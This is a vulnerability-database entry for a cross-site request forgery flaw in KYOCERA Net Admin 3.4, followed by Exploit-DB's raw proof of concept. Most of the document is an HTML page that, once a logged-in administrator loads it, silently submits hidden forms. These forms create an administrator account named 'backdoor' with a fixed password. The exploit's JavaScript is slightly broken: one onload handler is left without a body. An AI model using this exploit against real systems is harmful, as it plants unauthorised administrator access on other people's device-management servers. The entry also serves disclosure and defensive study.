KYOCERA Net Admin 3.4 CSRF Add Admin Exploit

vendor:

KYOCERA Net Admin

by:

Gjoko 'LiquidWorm' Krstic

7.5

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: KYOCERA Net Admin

Affected Version From: 3.4.0906

Affected Version To: 3.4.0906

Patch Exists: NO

Related CWE:

CPE: a:kyocera:net_admin:3.4.0906

Metasploit:

Other Scripts:

Platforms Tested: Microsoft Windows 7 Professional SP1 (EN)

2018

KYOCERA Net Admin 3.4 CSRF Add Admin Exploit

The KYOCERA Net Admin 3.4 application allows users to perform actions via HTTP requests without performing validity checks. This can be exploited to perform actions with administrative privileges if a logged-in user visits a malicious website.

Mitigation:

Implement proper input validation and verification of HTTP requests. Apply security patches and updates.

Source

Exploit-DB raw data:

#Vendor: KYOCERA Corporation
#Product https://global.kyocera.com
#Affected version: 3.4.0906
#
#Summary: KYOCERA Net Admin is Kyocera's unified
#device management software that uses a web-based
#platform to give network administrators easy and
#uncomplicated control to handle a fleet for up to
#10,000 devices. Tasks that used to require multiple
#programs or walking to each printer can now be
#accomplished in a single, fast and modern environment.
#
#Desc: The application interface allows users to perform
#certain actions via HTTP requests without performing
#any validity checks to verify the requests. This can
#be exploited to perform certain actions with administrative
#privileges if a logged-in user visits a malicious web
#site.
#
#Tested on: Microsoft Windows 7 Professional SP1 (EN)
#Apache Tomcat/8.5.15
#
#
#Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#@zeroscience
#
#
#Advisory ID: ZSL-2018-5458
#Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5458.php

<html>
<head>
<title>KYOCERA Net Admin 3.4 CSRF Add Admin Exploit</title>
</head>

<body onload="exploitrun();">

<!-- Add Administrator -->
<form name="create_user" action="https://192.168.18.133:7443/fwk-web/jsp/addUser.faces" method="POST" target="frame0">
 <input type="hidden" name="userType" value="0" />
 <input type="hidden" name="addUserForm&#58;loginName" value="backdoor" />
 <input type="hidden" name="addUserForm&#58;pw" value="pass123" />
 <input type="hidden" name="addUserForm&#58;pwConfirm" value="pass123" />
 <input type="hidden" name="addUserForm&#58;role" value="administrator" />
 <input type="hidden" name="addUserForm&#58;required&#95;name" value="name" />
 <input type="hidden" name="addUserForm&#58;required&#95;email1" value="bd&#64;db&#46;ee" />
 <input type="hidden" name="addUserForm&#58;required&#95;role" value="administrator" />
 <input type="hidden" name="addUserForm&#58;optional&#95;name" value="Backdoor" />
 <input type="hidden" name="addUserForm&#58;company" value="ZSL" />
 <input type="hidden" name="addUserForm&#58;department" value="forensics" />
 <input type="hidden" name="addUserForm&#58;email2" value="bd2&#64;db&#46;ee" />
 <input type="hidden" name="addUserForm&#58;optional&#95;phone" value="123&#45;123&#45;1234" />
 <input type="hidden" name="addUserForm&#58;optional&#95;cell" value="321&#45;321&#45;3210" />
 <input type="hidden" name="addUserForm&#58;submitHidden" value="true" />
 <input type="hidden" name="addUserForm&#95;SUBMIT" value="1" />
 <input type="hidden" name="addUserForm&#58;&#95;link&#95;hidden&#95;" value="" />
</form>

<!-- Update Node -->
<form name="update_node" action="https://192.168.18.133:7443/fwk-web/servlet/EventControllerServlet" method="GET" target="frame1">
 <input type="hidden" name="bname" value="" />
 <input type="hidden" name="ts" value="1522690965730" />
 <input type="hidden" name="cmd" value="tv&#95;set&#95;cur&#95;node" />
 <input type="hidden" name="node&#95;id" value="root&#46;user&#95;administration&#46;administrator&#46;backdoor" />
</form>

<iframe name="frame0"></iframe>
<iframe name="frame1"></iframe>

<script>
function exploitrun()
{
    document.create_user.submit();
    document.getElementsByTagName("iframe")[0].onload = function()
    {
        document.update_node.submit();
        document.getElementsByTagName("iframe")[1].onload = function()
    }
}
</script>

</body>
</html>